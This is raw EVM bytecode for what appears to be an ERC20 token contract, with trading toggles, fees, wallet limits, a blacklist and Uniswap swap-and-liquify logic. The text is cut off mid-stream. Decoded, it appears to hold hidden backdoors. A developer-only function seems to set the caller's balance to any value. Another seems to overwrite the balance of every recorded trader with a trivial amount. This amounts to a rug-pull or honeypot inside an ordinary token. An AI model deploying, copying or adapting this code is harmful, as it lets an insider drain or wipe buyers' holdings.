1000a81548160ff0219169083151502179055506001905090565b6114156124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149b9061477b565b60405180910390fd5b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60125481565b61150d6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461159c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115939061477b565b60405180910390fd5b8260148190555081601381905550806012819055506012546013546014546115c49190614916565b6115ce9190614916565b601181905550505050565b6115e16124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611670576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116679061477b565b60405180910390fd5b6001600b60016101000a81548160ff0219169083151502179055506001600b60026101000a81548160ff02191690831515021790555043601c81905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b6116e76124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d9061477b565b60405180910390fd5b80600b60026101000a81548160ff02191690831515021790555050565b6060600480546117a2906146fd565b80601f01602080910402602001604051908101604052809291908181526020018280546117ce906146fd565b801561181b5780601f106117f05761010080835404028352916020019161181b565b820191906000526020600020905b8154815290600101906020018083116117fe57829003601f168201915b5050505050905090565b61182d6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b39061477b565b60405180910390fd5b7f000000000000000000000000530f897d2ec44af2cc8987ade92f52d0b66ce24973ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561194b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611942906149de565b60405180910390fd5b611955828261363c565b5050565b60145481565b601b5481565b60185481565b6000611a2e6119786124ef565b84611a298560405180606001604052806025815260200161577c60259139600160006119a26124ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d89092919063ffffffff16565b6124f7565b6001905092915050565b6000611a4c611a456124ef565b84846126c2565b6001905092915050565b611a5e6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae49061477b565b60405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611bee6124ef565b73ffffffffffffffffffffffffffffffffffffffff1614611c44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3b90614a4a565b60405180910390fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c8e816136dd565b5050565b601f6020528060005260406000206000915054906101000a900460ff1681565b600b60019054906101000a900460ff1681565b611ccd6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d539061477b565b60405180910390fd5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611df991906143d5565b60405180910390a25050565b611e0d6124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e939061477b565b60405180910390fd5b826018819055508160178190555080601681905550601654601754601854611ec49190614916565b611ece9190614916565b601581905550505050565b670de0b6b3a76400006103e86005611eef610d45565b611ef991906147ca565b611f039190614853565b611f0d9190614853565b811015611f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4690614adc565b60405180910390fd5b611fde600f805480602002602001604051908101604052809291908181526020018280548015611fd457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611f8a575b5050505050613723565b50565b601060009054906101000a900460ff1681565b60085481565b60006120046124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208a9061477b565b60405180910390fd5b620186a060016120a1610d45565b6120ab91906147ca565b6120b59190614853565b8210156120f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ee90614b6e565b60405180910390fd5b6103e86005612104610d45565b61210e91906147ca565b6121189190614853565b82111561215a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215190614c00565b60405180910390fd5b8160098190555060019050919050565b60115481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b60006122076124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228d9061477b565b60405180910390fd5b6000601060006101000a81548160ff0219169083151502179055506001905090565b60135481565b6122c66124ef565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234c9061477b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156123c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bc90614c92565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60175481565b600a5481565b60008082846124a09190614916565b9050838110156124e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dc90614cfe565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255e90614d90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ce90614e22565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516126b591906144a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612732576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272990614eb4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279990614f46565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128465750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287c90614fd8565b60405180910390fd5b600081141561289f5761289a8383600061381c565b6135d3565b600b60009054906101000a900460ff1615612f62576128bc6116af565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561292a57506128fa6116af565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156129635750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561299d575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156129b65750600560149054906101000a900460ff16155b15612f6157600b60019054906101000a900460ff16612ab057601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612a705750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa690615044565b60405180910390fd5b5b601060009054906101000a900460ff1615612c7857612acd6116af565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612b5457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bac57507f000000000000000000000000530f897d2ec44af2cc8987ade92f52d0b66ce24973ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612c775743600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c29906150fc565b60405180910390fd5b43600c60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612d1b5750601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612dc257600854811115612d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5c9061518e565b60405180910390fd5b600a54612d71836111b2565b82612d7c9190614916565b1115612dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612db4906151fa565b60405180910390fd5b612f60565b601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e655750601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612eb457600854811115612eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ea69061528c565b60405180910390fd5b612f5f565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f5e57600a54612f11836111b2565b82612f1c9190614916565b1115612f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f54906151fa565b60405180910390fd5b5b5b5b5b5b6000612f6d306111b2565b905060006009548210159050808015612f925750600b60029054906101000a900460ff165b8015612fab5750600560149054906101000a900460ff16155b80156130015750601f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130575750601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130ad5750601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156130f1576001600560146101000a81548160ff0219169083151502179055506130d5613ab1565b6000600560146101000a81548160ff0219169083151502179055505b6000600560149054906101000a900460ff16159050601d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806131a75750601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156131b157600090505b6000811561342a57601f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561321457506000601554115b156132e157613241606461323360155488613d9890919063ffffffff16565b613e1390919063ffffffff16565b90506015546017548261325491906147ca565b61325e9190614853565b601a600082825461326f9190614916565b925050819055506015546018548261328791906147ca565b6132919190614853565b601b60008282546132a29190614916565b92505081905550601554601654826132ba91906147ca565b6132c49190614853565b601960008282546132d59190614916565b92505081905550613406565b601f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561333c57506000601154115b1561340557613369606461335b60115488613d9890919063ffffffff16565b613e1390919063ffffffff16565b90506011546013548261337c91906147ca565b6133869190614853565b601a60008282546133979190614916565b92505081905550601154601454826133af91906147ca565b6133b99190614853565b601b60008282546133ca9190614916565b92505081905550601154601254826133e291906147ca565b6133ec9190614853565b601960008282546133fd9190614916565b925050819055505b5b600081111561341b5761341a87308361381c565b5b808561342791906152ac565b94505b600080600f805490501180156134ba57508673ffffffffffffffffffffffffffffffffffffffff16600f6001600f8054905061346691906152ac565b81548110613477576134766152e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b905060005b600f80549050811080156134d1575081155b15613558578773ffffffffffffffffffffffffffffffffffffffff16600f8281548110613501576135006152e0565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614915080806135509061530f565b9150506134bf565b50806135c257600f879080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6135cd88888861381c565b50505050505b505050565b6000838311158290613620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161361791906142bf565b60405180910390fd5b506000838561362f91906152ac565b9050809150509392505050565b80601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60006001905060005b82518261ffff161015613817578060ff16600080858561ffff1681518110613757576137566152e0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414613804578060ff16600080858561ffff16815181106137bd576137bc6152e0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b818061380f90615366565b92505061372c565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561388c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161388390614eb4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156138fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138f390614f46565b60405180910390fd5b613907838383613e5d565b6139728160405180606001604052806026815260200161572e602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d89092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a05816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249190919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613aa491906144a6565b60405180910390a3505050565b6000613abc306111b2565b90506000601b54601954601a54613ad39190614916565b613add9190614916565b9050600080831480613aef5750600082145b15613afc57505050613d96565b6014600954613b0b91906147ca565b831115613b24576014600954613b2191906147ca565b92505b6000600283601a5486613b3791906147ca565b613b419190614853565b613b4b9190614853565b90506000613b628286613e6290919063ffffffff16565b90506000479050613b7282613eac565b6000613b878247613e6290919063ffffffff16565b90506000613bb287613ba460195485613d9890919063ffffffff16565b613e1390919063ffffffff16565b90506000613bdd88613bcf601b5486613d9890919063ffffffff16565b613e1390919063ffffffff16565b90506000818385613bee91906152ac565b613bf891906152ac565b90506000601a8190555060006019819055506000601b81905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051613c58906153c2565b60006040518083038185875af1925050503d8060008114613c95576040519150601f19603f3d011682016040523d82523d6000602084013e613c9a565b606091505b505080985050600087118015613cb05750600081115b15613cfd57613cbf87826140e9565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618682601a54604051613cf4939291906153d7565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613d43906153c2565b60006040518083038185875af1925050503d8060008114613d80576040519150601f19603f3d011682016040523d82523d6000602084013e613d85565b606091505b505080985050505050505050505050505b565b600080831415613dab5760009050613e0d565b60008284613db991906147ca565b9050828482613dc89190614853565b14613e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613dff90615480565b60405180910390fd5b809150505b92915050565b6000613e5583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506141c3565b905092915050565b505050565b6000613ea483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506135d8565b905092915050565b6000600267ffffffffffffffff811115613ec957613ec86154a0565b5b604051908082528060200260200182016040528015613ef75781602001602082028036833780820191505090505b5090503081600081518110613f0f57613f0e6152e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613fb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fd891906154e4565b81600181518110613fec57613feb6152e0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050614051307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846124f7565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016140b395949392919061560a565b600060405180830381600087803b1580156140cd57600080fd5b505af11580156140e1573d6000803e3d6000fd5b505050505050565b614114307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846124f7565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161417996959493929190615664565b60606040518083038185885af1158015614197573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906141bc91906156da565b5050505050565b6000808311829061420a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161420191906142bf565b60405180910390fd5b50600083856142199190614853565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015614260578082015181840152602081019050614245565b8381111561426f576000848401525b50505050565b6000601f19601f8301169050919050565b600061429182614226565b61429b8185614231565b93506142ab818560208601614242565b6142b481614275565b840191505092915050565b600060208201905081810360008301526142d98184614286565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000614311826142e6565b9050919050565b61432181614306565b811461432c57600080fd5b50565b60008135905061433e81614318565b92915050565b6000819050919050565b61435781614344565b811461436257600080fd5b50565b6000813590506143748161434e565b92915050565b60008060408385031215614391576143906142e1565b5b600061439f8582860161432f565b92505060206143b085828601614365565b9150509250929050565b60008115159050919050565b6143cf816143ba565b82525050565b60006020820190506143ea60008301846143c6565b92915050565b600060208284031215614406576144056142e1565b5b60006144148482850161432f565b91505092915050565b6000819050919050565b600061444261443d614438846142e6565b61441d565b6142e6565b9050919050565b600061445482614427565b9050919050565b600061446682614449565b9050919050565b6144768161445b565b82525050565b6000602082019050614491600083018461446d565b92915050565b6144a081614344565b82525050565b60006020820190506144bb6000830184614497565b92915050565b6000602082840312156144d7576144d66142e1565b5b60006144e584828501614365565b91505092915050565b600080600060608486031215614507576145066142e1565b5b60006145158682870161432f565b93505060206145268682870161432f565b925050604061453786828701614365565b9150509250925092565b61454a816143ba565b811461455557600080fd5b50565b60008135905061456781614541565b92915050565b60008060408385031215614584576145836142e1565b5b60006145928582860161432f565b92505060206145a385828601614558565b9150509250929050565b600060ff82169050919050565b6145c3816145ad565b82525050565b60006020820190506145de60008301846145ba565b92915050565b6145ed81614306565b82525050565b600060208201905061460860008301846145e4565b92915050565b600080600060608486031215614627576146266142e1565b5b600061463586828701614365565b935050602061464686828701614365565b925050604061465786828701614365565b9150509250925092565b600060208284031215614677576146766142e1565b5b600061468584828501614558565b91505092915050565b600080604083850312156146a5576146a46142e1565b5b60006146b38582860161432f565b92505060206146c48582860161432f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061471557607f821691505b60208210811415614729576147286146ce565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614765602083614231565b91506147708261472f565b602082019050919050565b6000602082019050818103600083015261479481614758565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006147d582614344565b91506147e083614344565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156148195761481861479b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061485e82614344565b915061486983614344565b92508261487957614878614824565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006148e0602f83614231565b91506148eb82614884565b604082019050919050565b6000602082019050818103600083015261490f816148d3565b9050919050565b600061492182614344565b915061492c83614344565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156149615761496061479b565b5b828201905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006149c8603983614231565b91506149d38261496c565b604082019050919050565b600060208201905081810360008301526149f7816149bb565b9050919050565b7f43616c6c6572206973206e6f7420446576656c6f706572000000000000000000600082015250565b6000614a34601783614231565b9150614a3f826149fe565b602082019050919050565b60006020820190508181036000830152614a6381614a27565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614ac6602483614231565b9150614ad182614a6a565b604082019050919050565b60006020820190508181036000830152614af581614ab9565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614b58603583614231565b9150614b6382614afc565b604082019050919050565b60006020820190508181036000830152614b8781614b4b565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614bea603483614231565b9150614bf582614b8e565b604082019050919050565b60006020820190508181036000830152614c1981614bdd565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614c7c602683614231565b9150614c8782614c20565b604082019050919050565b60006020820190508181036000830152614cab81614c6f565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614ce8601b83614231565b9150614cf382614cb2565b602082019050919050565b60006020820190508181036000830152614d1781614cdb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614d7a602483614231565b9150614d8582614d1e565b604082019050919050565b60006020820190508181036000830152614da981614d6d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614e0c602283614231565b9150614e1782614db0565b604082019050919050565b60006020820190508181036000830152614e3b81614dff565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614e9e602583614231565b9150614ea982614e42565b604082019050919050565b60006020820190508181036000830152614ecd81614e91565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614f30602383614231565b9150614f3b82614ed4565b604082019050919050565b60006020820190508181036000830152614f5f81614f23565b9050919050565b7f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460008201527f72616e73666572696e6720746f6b656e73000000000000000000000000000000602082015250565b6000614fc2603183614231565b9150614fcd82614f66565b604082019050919050565b60006020820190508181036000830152614ff181614fb5565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061502e601683614231565b915061503982614ff8565b602082019050919050565b6000602082019050818103600083015261505d81615021565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006150e6604983614231565b91506150f182615064565b606082019050919050565b60006020820190508181036000830152615115816150d9565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000615178603583614231565b91506151838261511c565b604082019050919050565b600060208201905081810360008301526151a78161516b565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006151e4601383614231565b91506151ef826151ae565b602082019050919050565b60006020820190508181036000830152615213816151d7565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000615276603683614231565b91506152818261521a565b604082019050919050565b600060208201905081810360008301526152a581615269565b9050919050565b60006152b782614344565b91506152c283614344565b9250828210156152d5576152d461479b565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061531a82614344565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561534d5761534c61479b565b5b600182019050919050565b600061ffff82169050919050565b600061537182615358565b915061ffff8214156153865761538561479b565b5b600182019050919050565b600081905092915050565b50565b60006153ac600083615391565b91506153b78261539c565b600082019050919050565b60006153cd8261539f565b9150819050919050565b60006060820190506153ec6000830186614497565b6153f96020830185614497565b6154066040830184614497565b949350505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061546a602183614231565b91506154758261540e565b604082019050919050565b600060208201905081810360008301526154998161545d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506154de81614318565b92915050565b6000602082840312156154fa576154f96142e1565b5b6000615508848285016154cf565b91505092915050565b6000819050919050565b600061553661553161552c84615511565b61441d565b614344565b9050919050565b6155468161551b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61558181614306565b82525050565b60006155938383615578565b60208301905092915050565b6000602082019050919050565b60006155b78261554c565b6155c18185615557565b93506155cc83615568565b8060005b838110156155fd5781516155e48882615587565b97506155ef8361559f565b92505060